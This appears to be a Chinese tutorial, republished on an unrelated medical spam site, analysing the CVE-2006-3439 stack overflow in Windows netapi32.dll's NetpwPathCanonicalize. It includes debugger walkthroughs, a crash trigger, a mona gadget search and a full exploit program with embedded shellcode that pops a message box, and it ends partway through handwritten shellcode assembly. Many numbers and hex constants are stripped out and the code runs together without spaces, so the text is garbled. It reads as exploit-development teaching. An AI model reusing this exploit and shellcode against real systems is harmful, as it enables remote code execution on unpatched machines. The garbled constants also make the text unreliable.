您现在的位置:0A > 0A介绍 > > CVE20063439漏洞原理分析

CVE20063439漏洞原理分析

2023-2-14 来源:本站原创 浏览次数:

口碑较好的白癜风医院 https://wapyyk.39.net/bj/zhuanke/89ac7.html

通过IDAPro加载netapi32.dll动态链接库,来进行分析CVE--漏洞产生的原理。

通过IDA全局搜索函数功能,直接搜索存在问题的NetpwPathCanonicalize函数,双击进行跳转到NetpwPathCanonicalize函数位置。

通过动态分析可以知道漏洞点发生在下图中CALL中。

看到在开始subesp,h进行开辟栈空间,它是用来存储拼接后的字符串。movebx,h进行边界检查,查看数据是否溢出。漏洞产生原因主要处在wcslen上,wcslen主要是对字符进行计算,类似于strlen函数,区别在于wcslen计算的是WCHAR类型,在栈空间中内容都是以字节作为计算,用的是ASCII编码,而wcslen使用的是Unicode编码,用的是两个字节,就是同样长度的字符串会少算了一半。前面他检查分h但是我们可以传入h字节,这个是十六进制的。

看到cmpax,5ch他就是动态分析时候进行拼接/。calledi计算path路径的Unicode长度,结果保存到了eax当中,下边addeax,esi是把两个字符串拼接后大小存到eax当中,第二次边界检查依然是通过0x进行检查,但是它存在问题。上边prefix不能利用是因为他在外边进行了二次检查,而path是可以利用的,因为没有对他进行检查,以此可以知道path是可以传超长字符串,最长可达h的二倍。因为这里检查的还是Unicode编码而不是ASCII编码。运行下边函数他会把path拼接到prefix后面,长度已超过开辟的h长度,所以造成溢出可以进行利用。

CVE--漏洞动态分析

CVE--漏洞有补丁号为KB,如果计算机没有打此补丁,此漏洞就可以利用。

#includetypedefvoid(*MYPROC)(LPTSTR);intmain(){charpath[0x];charcan_path[0x];intmaxbuf=0x;charprefix[0x];longpathtype=44;//loadvulnerabilitynetapi32.dllwhichwegotfromaWIN2Ksp4hostHINSTANCELibHandle;MYPROCTrigger;chardll[]="./netapi32.dll";//careforthepathcharVulFunc[]="NetpwPathCanonicalize";LibHandle=LoadLibrary(dll);Trigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);memset(path,0,sizeof(path));memset(path,a,sizeof(path)-2);memset(prefix,0,sizeof(prefix));memset(prefix,b,sizeof(prefix)-2);//__asmint3(Trigger)(path,can_path,maxbuf,prefix,pathtype,0);FreeLibrary(LibHandle);}

此漏洞出现在netapi32.dll动态链接库中,是NetpwPathCanonicalize函数出现了问题,该函数本身是一个网络路径字符串格式化的函数,Unicode编码字符串处理功能。(Trigger)(path,can_path,maxbuf,prefix,pathtype,0);首先会先看prefix参数是不是buffer,如果这个buffer不是空的,那么就把prefix里面的内容和path路径里的内容通过一个反斜杠连接起来,连接起来会把他们放到can_path里面。如果prefix和path越界了或不够大就有可能直接退出。netapi32.dll动态链接库是微软的一个系统库,可以进行远程利用。通过memset对path和prefix进行了初始化,首先初始化成了0在对两个buffer分别用a和b进行覆盖。因为netapi32.dll动态链接库中NetpwPathCanonicalize函数存在问题,所以通过使用GetProcAddress方式拿到他的地址。

运行代码他会直接崩掉,可以看到Offset:是他的溢出地址,正常溢出不会出现这种地址,61是ASCII中a的编码,所以说返回地址被其中一个buffer给覆盖掉了。

接下来进行动态分析,首先打开生成的Release可执行文件中把NETAPI32.DLL放进去,因为代码中调用NETAPI32.DL是以相对路径调用的。

刚进来他是处在系统模块中,直接F9进入到我们程序当中。

看到F地址callms_06_.400就是分析程序的主函数。主函数有三个参数,通过特征可以看他调用call之前进行了三次push,他使用的调用约定是stdcall,stdcall参数从右至左的顺序压参数入栈。stdcall和cdecl调用约定都是从右至左的顺序压参数入栈,区别在于stdcall需要通过add进行手动平栈而cdecl由系统平栈。

此漏洞问题出现在calledx当中。calledx是一个经典的函数指针,因为在编译的时候edx地址还不确定,它是后覆盖进去的。

直接F8或F9往下走,可以看到它的EBP和EIP都是,说明EBP和EIP都被其中一个buffer给覆盖了

因为他calledx,在寄存器中可以看到edx他其实就是有漏洞的API函数。

直接把edx的地址取出来,ctrl+G跳到NetpwPathCanonicalize里去。

第一次分析的话就要一步一步往下走,看他在哪一个call下飞了,然后就进去分析那个call,过程不做演示,此次直接定位到问题函数进行分析。

进入到netapi32.dll中发现subesp,,开辟了一块很大的空间。movedi,dwordptrds:[wcslen]计算了一下长度,其实就是做了一个验证。

发现它存在wcscpy和wcscat,问题就出现在wcscat上。wcscpy作用是拷贝字符串到栈里面去。

首先calldwordptrds:[wcscpy]进行了call,可以看到他的参数是从eax来的,而eax值是从[ebp-]来的,我们直接跳到ebp-。

通过右键-在内存窗口中转到-转到ebp-位置。

可以看到内存中一大片62,最后有两个00,这个00是初始化时候故意留的两个,进行了-2操作,有了结尾他就是Unicode编码字符串结尾了。

单步程序到FCCC位置他还没有出现问题。

在执行一步发现没有了,其中一个00被5C覆盖了,所以这个就是拼接进去一个/,因为这个拼接进去/,导致00被覆盖,以此这个字符串没有了结尾。

在此wcscat下边还存有一个wcscat,直接跳转过去。

通过观察内存窗口结尾,目前还是5C00,执行完第二个wcscat他会发生改变。

可以看到wcscat把a拼接到了后面,而且他没有了结束,这个字符串是没有断开的,这么复制过来后就出现了问题。这就是他溢出的一个基本原因。可以看到是61把path路径串给覆盖了。

通过这个可以知道F6A8就是EBP,下边F6AC就是返回地址,F为buffer的起始地址。

在ret结束位置下断点跳转过去,返回地址是F6AC,ECX是F为buffer的起始地。所以就可以把prefix或跟path一部分空间直接设置成shellcode。

利用immunitydebugger工具mona,在命令行输入!monafind-s"\xFF\xD1"-mnetapi32.dll,此命令意思通过mona查找指定指令callECS和指定模块netapi32.dll。结果可以看到有很多地址,目前只记0xF9和0xAE6C两个地址。

计算返回地址到起始地址距离,返回地址F6AC-F起始地址=0x-prefix的字节=0x,所以就要在0x的位置上把返回地址进行淹没。

#includetypedefvoid(*MYPROC)(LPTSTR);charshellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C""\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53""\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B""\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95""\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59""\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A""\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75""\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03""\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB""\x53\x68\x6F\x70\x20\x20\x68\x76\x75\x6c\x74\x8B\xC4\x53\x50\x50""\x53\xFF\x57\xFC\x53\xFF\x57\xF8";intmain(){charpath[0x];charcan_path[0x];intmaxbuf=0x;charprefix[0x];longpathtype=44;//loadvulnerabilitynetapi32.dllwhichwegotfromaWIN2Ksp4hostHINSTANCELibHandle;MYPROCTrigger;chardll[]="./netapi32.dll";//careforthepathcharVulFunc[]="NetpwPathCanonicalize";LibHandle=LoadLibrary(dll);Trigger=(MYPROC)GetProcAddress(LibHandle,VulFunc);memset(path,0,sizeof(path));memset(path,0x90,sizeof(path)-2);memset(prefix,0,sizeof(prefix));memset(prefix,b,sizeof(prefix)-2);memcpy(prefix,shellcode,);//0xF9path[0x]=0xF9;path[0x]=0x52;path[0x31A]=0x18;path[0x31B]=0x75;//__asmint3(Trigger)(path,can_path,maxbuf,prefix,pathtype,0);FreeLibrary(LibHandle);}

通过mona已经获取到了两个地址0xF9和0xAE6C,通过计算算出要覆盖的地址0x,以字节形式进行赋值把0xF9以小端序方式赋给0x开始到0x31B位置。目前初始化a已经没有意义,进行全部初始化成0x90为not指令,插入一段shellcode通过memcpy(prefix,shellcode,);命令,意思是把shellcode代码拷贝到prefix中一共是个字节。

重新编译完之后再次分析一下,跳到netapi32.dll返回地方可以看到,ESP地址为0xF6A8跳转到堆栈,地址是刚才设置的,ECX地址为0xF栈中指向0x0A6A68FC这个就是shellcode的地址。

跳转之后发现发进行callecx,现在ecx地址就是shellcode的位置。

再次运行跳转到shellcode位置进行了弹窗。

ShellCode编写

voidmain(){_asm{nopnopnopnopnopnopnopCLDpush0x1ea6apush0x4fdpush0x0cmovesi,espleaedi,[esi-0xC]xorebx,ebxmovbh,0x04subesp,ebxmovbx,0xpushebxpush0xpushespxoredx,edxmovebx,fs:[edx+0x30]movecx,[ebx+0x0c]movecx,[ecx+0x1c]movecx,[ecx]movebp,[ecx+0x08]find_lib_functions:lodsdcmpeax,0x1ea6ajnefind_functionsxchgeax,ebpcall[edi-0x8]xchgeax,ebpfind_functions:pushadmoveax,[ebp+0x3c]movecx,[ebp+eax+0x78]addecx,ebpmovebx,[ecx+0x20]addebx,ebpxoredi,edinext_function_loop:incedimovesi,[ebx+edi*4]addesi,ebpcdqhash_loop:movsxeax,byteptr[esi]cmpal,ahjz

转载请注明:
http://www.wqopd.com/ynyjs/12207.html
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 网站首页 版权信息 发布优势 合作伙伴 隐私保护 服务条款 网站地图 网站简介
    医院地址: 健康热线:
    温馨提示:本站信息不能作为诊断和医疗依据
    版权所有 2014-2024
    今天是: